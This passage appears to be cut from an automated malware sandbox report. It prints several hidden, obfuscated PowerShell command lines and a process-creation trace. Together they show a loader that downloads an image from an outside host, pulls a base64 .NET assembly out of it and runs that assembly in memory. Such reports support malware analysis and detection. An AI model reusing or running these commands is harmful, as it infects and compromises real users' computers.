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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline	powershell -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm9hbGloc2FtLzEyMS43Mi40MTIuNTkvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Oct. 24, 2023, 9:38 a.m.	thread_identifier: 2632 thread_handle: 0x000002e8 process_identifier: 2628 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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